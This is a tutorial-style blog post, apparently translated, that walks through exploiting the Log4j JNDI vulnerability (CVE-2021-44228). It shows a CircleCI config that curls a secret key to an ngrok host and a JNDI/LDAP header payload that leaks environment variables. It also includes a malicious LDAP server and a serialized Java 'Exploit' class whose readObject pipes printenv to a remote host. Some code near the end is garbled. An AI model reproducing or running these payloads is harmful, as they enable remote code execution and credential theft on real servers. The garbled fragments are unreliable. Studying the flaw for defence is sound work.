We analyze the Log4j vulnerability in detail … with examples and code

Something went wrong

I think everyone has heard about the critical vulnerability in Log4j, which has existed for more than a dozen years, but was discovered quite recently. As a result, she was assigned the highest critical status. CVE-2021-44228 and many companies including Microsoft, Amazon and IBM have admitted that some of their services are affected by this vulnerability. Its essence is that Log4j allows you to execute any malicious code on the server using Java Naming and Directory Interface (JNDI)… Although I have been using Java very rarely for the last 2 years, it still became interesting to me to understand the problem in more detail.

The story of how I was looking for keys

I’ll start very far … with a real life example that has nothing to do with Log4j and Java, but will give a basic understanding of how vulnerabilities can be exploited. Somehow I was working on a project where another developer was doing the configuration Continuous Integration, but forgot before leaving didn’t want to to share Environment Variables… For half a year everything worked well, but it was time to tweak something and I needed either keys or details to access the database. The problem is that in CircleCI (and we used it) you can’t just see the values ​​of the environment variables, since in the browser they are displayed in disguised… That is, while creating a variable, its value is visible (which is obvious)

And after that, we see only the mask in the format хххх{four-last-characters} (which is also obvious in principle)

Since I am still a developer and I had access to the deployment configuration <repository>/.circleci/config.yml, the first thing that came to my mind was to print the value of the environment variable directly to the console using echo, which in CircleCI realities looks like this

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
  build:
    jobs:
      - build

Here CIRCLE_REPOSITORY_URL is the built-in variable CircleCI, and AWS_SECRET_ACCESS_KEY – a project variable created manually. TO unfortunately fortunately, the output to the console worked only for the built-in variable, and instead of the AWS key, a mask was printed ************************** which can do little to help

By the way, in the first years of CircleCI’s life it still worked, but at the end of 2019 the hack broke repaired

We think further and come to the conclusion that very often, environment variables are keys or tokens that are used for authentication / authorization on other resources and it is logical to assume that if you “inject” a variable into curl, then CI will send it in “raw” form and the receiving side will be able to see the value without a mask. We are writing a very primitive HTTP server on Node.js whose only task is to print the request body to the console

const express = require('express')
const app = express()
const port = 3000

app.use(express.text())

// Accepts literally any request to literally any path
app.all('*', (req, res) => {
  // Print body to the console
  console.log(req.body)

  // Respond with empty string
  res.send('')
})

app.listen(port, () => {
  console.log(`App listening at http://localhost:${port}`)
})

Run locally, test

curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'

We make sure that everything works well and the request body is displayed in the console

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body

The only thing that prevents us from sending curl a request from CircleCI to our Node.js HTTP server is that the server is set to localhost and is not visible from the Internet. This problem helps us to solve ngrok… For those who have never heard of ngrok, this is a “pribluda” that opens a local port and allows you to make requests to localhost from outside the network, even bypassing NAT or firewall. Run ngrok and ask it to forward HTTP requests to the local port 3000 (the one on which the Node.js HTTP server “runs”)

$ ngrok http 3000

We receive HTTP and HTTPS links that are “visible from the Internet”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    http://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                    
Forwarding                    https://5675-136-28-7-90.ngrok.io -> http://localhost:3000                                                                                                                   
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              2       0       0.03    0.01    5.07    5.14   

It remains to collect everything to a heap and send curl request from CircleCI. For this we update <repository>/.circleci/config.yml

version: 2.1

jobs:
  build:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run: echo "Hello world"
      - run: echo ${CIRCLE_REPOSITORY_URL}
      - run: echo ${AWS_SECRET_ACCESS_KEY}
      - run:
          name: curl ${AWS_SECRET_ACCESS_KEY}
          command: |
            curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
  build:
    jobs:
      - build

We commit, push, look in CircleCI and see that curl the request was sent successfully

And in the Node.js HTTP server console, we find the value of the environment variable AWS_SECRET_ACCESS_KEY which came in the body curl request

$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key

Let’s analyze the key points

First, delivery and performance of malicious code occurs with the most common push to git. This is perhaps what makes this example very trivial, because we have access to the repository and the ability to push into it, and, accordingly, deliver the malicious code to the victim.

Second, victim (in our case, CircleCI) executes the code, issues a secret and does not even know about it.

Third, retrieval the secret outward happens with ngrok and a very simple Node.js HTTP server.

Writing and Hacking a RESTful Web Service

Obviously, the most difficult part of the exploit process is the delivery and execution of malicious code, and in the case of Log4j, this is the vulnerability. The so-called Lookups in Log4j, which allows you to get the values ​​of variables from the configuration. For example, here’s how to print AWS_SECRET_ACCESS_KEY to the console

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
    }
}

We get

12:16:13.860 [main] INFO  org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key

Lookups itself is not scary, but the real problem is JNDI Lookups, which allows you to make a request to a remote LDAP server. For those who are not familiar with JNDI and LDAP, in short, JNDI is a set of interfaces that allows you to communicate with various resources and objects, including LDAP, DNS, CORBA, etc., and LDAP is a directory service access protocol like Microsoft Active Directory, allowing to perform operations of authentication, search, etc. in the directory. That is, if we have an LDAP server, we can send a request to it using JNDI.

Without wasting time, we are writing a simple LDAP server in Node.js whose only task is to print information about the request to the console

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);

  // Dummy response
  res.send({
    dn: '',
    attributes: {}
  })

  res.end()
})

server.listen(port, () => {
  console.log(`LDAP server listening at ${server.url}`)
})

As in the previous example, start ngrok and ask it to forward TCP requests (the LDAP protocol uses TCP) to the local port 1389 (the one on which the Node.js LDAP server is running)

$ ngrok tcp 1389

We get a TCP link that is “visible from the Internet”

ngrok by @inconshreveable                                                                                                                                                                  (Ctrl+C to quit)
                                                                                                                                                                                                           
Session Status                online                                                                                                                                                                       
Account                       Oleksandr (Plan: Free)                                                                                                                                                       
Version                       2.3.40                                                                                                                                                                       
Region                        United States (us)                                                                                                                                                           
Web Interface                 http://127.0.0.1:4040                                                                                                                                                        
Forwarding                    tcp://4.tcp.ngrok.io:18013 -> localhost:1389                                                                                                                                 
                                                                                                                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                                                                                                                  
                              0       0       0.00    0.00    0.00    0.00   

We update the Java application in such a way that Log4j would log a request to our LDAP server using JNDI

public class App {

    private static final Logger LOGGER = LogManager.getLogger(App.class);

    public static void main(String[] args) {
        LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
    }
}

We look into the console of the Node.js LDAP server and see the value of the environment variable AWS_SECRET_ACCESS_KEY which came in the request body

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

Obviously, no one in their right mind would log such a line ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}, so we continue our experiment … convert the Java application to RESTful Web Service using Spring, but instead of the standard Logback “Ask” Spring to use Log4j, how to do it is described here How to use Log4j 2 with Spring Boot… We get such a controller

@RestController
public class GreetingController {

    private final AtomicLong counter = new AtomicLong();

    @GetMapping("/greeting")
    public Greeting greeting() {
        return new Greeting(counter.incrementAndGet(), "Greetings!");
    }
}

We also “tell” Spring that we want to log all information about incoming requests, including headers

@SpringBootApplication
public class RestServiceApplication {

    public static void main(String[] args) {
        SpringApplication.run(RestServiceApplication.class, args);
    }

    @Bean
    public CommonsRequestLoggingFilter requestLoggingFilter() {
        CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
        loggingFilter.setIncludeClientInfo(true);
        loggingFilter.setIncludeQueryString(true);
        loggingFilter.setIncludePayload(true);
        loggingFilter.setIncludeHeaders(true);
        return loggingFilter;
    }
}

We start the service and make sure that it works

$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}

Next, we send the already familiar request to LDAP ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} in the title curl request

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

And in the Node.js LDAP server console we see the value of the environment variable AWS_SECRET_ACCESS_KEY

$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }

The key points remain the same, the implementation has changed slightly

First, delivery the malicious code occurs with a regular HTTP request to the server. Here is a line ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}} can come either in the request body or in its header, the main thing is that Log4j would try to write this line to the log, and in fact, at this moment, it happens performance… In this case, we do not even need access to the service, it is enough to be able to use curl and know where to send the HTTP request.

Second, victim (in this case, Log4j) executes the code, issues the secret, and doesn’t even know it.

Third, retrieval the secret outward happens with ngrok and a very simple Node.js LDAP server.

A few comments

  1. You don’t have to explicitly use Log4j. In our example, we obviously did not call Log4j anywhere, but simply “asked” Spring to write information about incoming requests to the log. This means that any dependency in a project that uses Log4j can execute malicious code. Moreover, you may not even be aware that some third-party library is using it … For example, in Maven you can build a dependency tree and see which libraries are used in the project $ mvn dependency:tree | grep log4j

  2. Even if the cloud (AWS, GCP, Azure, etc) filters the request headers before sending them to the server, you cannot filter everything and the problem can even creep out in such unexpected places as the username or the message in the chat. Like changing the device name in iCloud You can set the name of your iPhone and exploit Apple iCloud currently

  3. In our example, we know that the environment variable is called AWS_SECRET_ACCESS_KEY, that is, if we use “exotic” variable names, then we have nothing to be afraid of? This is not entirely true … as complicated as the last example may seem, JNDI can do much more than “just ask” an LDAP server.

Digging inside JNDI

Looking ahead, I will say a few words about serialization and deserialization. Serialization and deserialization in Java is a way to save an object in text form (serialization) and restore the same object in Java later (deserialization). This is how to convert a Java object to JSON, and then convert JSON to a Java object on another server, you can read in more detail here Java Object Serialization

As it turns out, JNDI can create objects based on the response from the LDAP server, you just need to know what to return. For example, if the LDAP server returns the attribute javaClassNamethen JNDI will try to deserialize the object (see. LdapCtx.java # L1078-L1081)

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
    // serialized object or object reference
    obj = Obj.decodeObject(attrs);
}

Then it won’t take long to look into the JNDI source code and figure out what other attributes need to be returned (see. Obj.java # L63-L81 and Obj.java # L227-L260)

// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
    "objectClass",
    "javaSerializedData",
    "javaClassName",
    "javaFactory",
    "javaCodeBase",
    "javaReferenceAddress",
    "javaClassNames",
    "javaRemoteLocation"     // Deprecated
};

static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;

static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

We understand that we need attributes javaClassName, javaSerializedData and javaCodeBase… Creating a very simple class Exploit

public class Exploit implements Serializable {

    private static final long serialVersionUID = -6153657763951339296L;

    private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
        // Any shady shit goes here
        Runtime.getRuntime().exec("printenv | tr '\n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-");
    }

    private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}

Create a class object Exploit, serialize it and get this line

'sr'Exploit[''xpx

Конвертируем ее в Base64

rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=

Собираем jar файл с классом Exploit и закидываем в любое место доступное по HTTP (для простоты я залил на GitHub). Обновляем LDAP сервер таким образом, что бы он возвращал нужные нам атрибуты

const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389

server.search('', (req, res, next) => {
  // Print request attributes to the console
  console.log(req.baseObject.rdns[0].attrs.q);  // Dummy response res.send ({dn: '', attributes: {javaClassName: 'Exploit', javaSerializedData: Buffer.from ('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg =', 'base64'): 'javaCodeBase.g com / oleksandrkyetov / log4j-boilerplate / master / Exploit.jar '}}) res.end ()}) server.listen (port, () => {console.log (`LDAP server listening at $ {server.url} `)})

And we send curl request to the server as in the previous case

curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting

As a result, we get not only the environment variable AWS_SECRET_ACCESS_KEYbut also all content printenv

In this case, as soon as the server receives a response from LDAP

  1. ClassLoader will load Exploit.jar and learn about the class Exploit

  2. The class object is deserialized Exploit

  3. During deserialization, the code from the method will be executed readObject(), namely Runtime.getRuntime().exec("printenv | tr '\n' '&' | curl --header "content-type: text/plain" https://aec6-136-28-7-90.ngrok.io -d @-");

  4. Content printenv “Will merge” curl request

In fact, during deserialization, you can execute any code, and even access bash server. In fairness, I will say that this method will work only if -Dcom.sun.jndi.ldap.object.trustURLCodebase stands in true, that is, if we allowed Java to load jar files into ClassLoader from external sources, but there is already a way to get around this JNDI-Injection-Bypass

Outcome

Naturally, this has already been fixed in Log4j, but in general the problem is not new. There are dozens of articles that are called “… JNDI Injection …” and were written 3-5 years ago Attacking Unmarshallers :: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, there is even a video 5 years ago on this topic A Journey From JNDI / LDAP Manipulation to Remote Code Execution Dream Land

The biggest gap is that JNDI hasn’t gone anywhere, as well as developers who don’t know about JNDI but write libraries that others end up using …

Similar Posts

Leave a Reply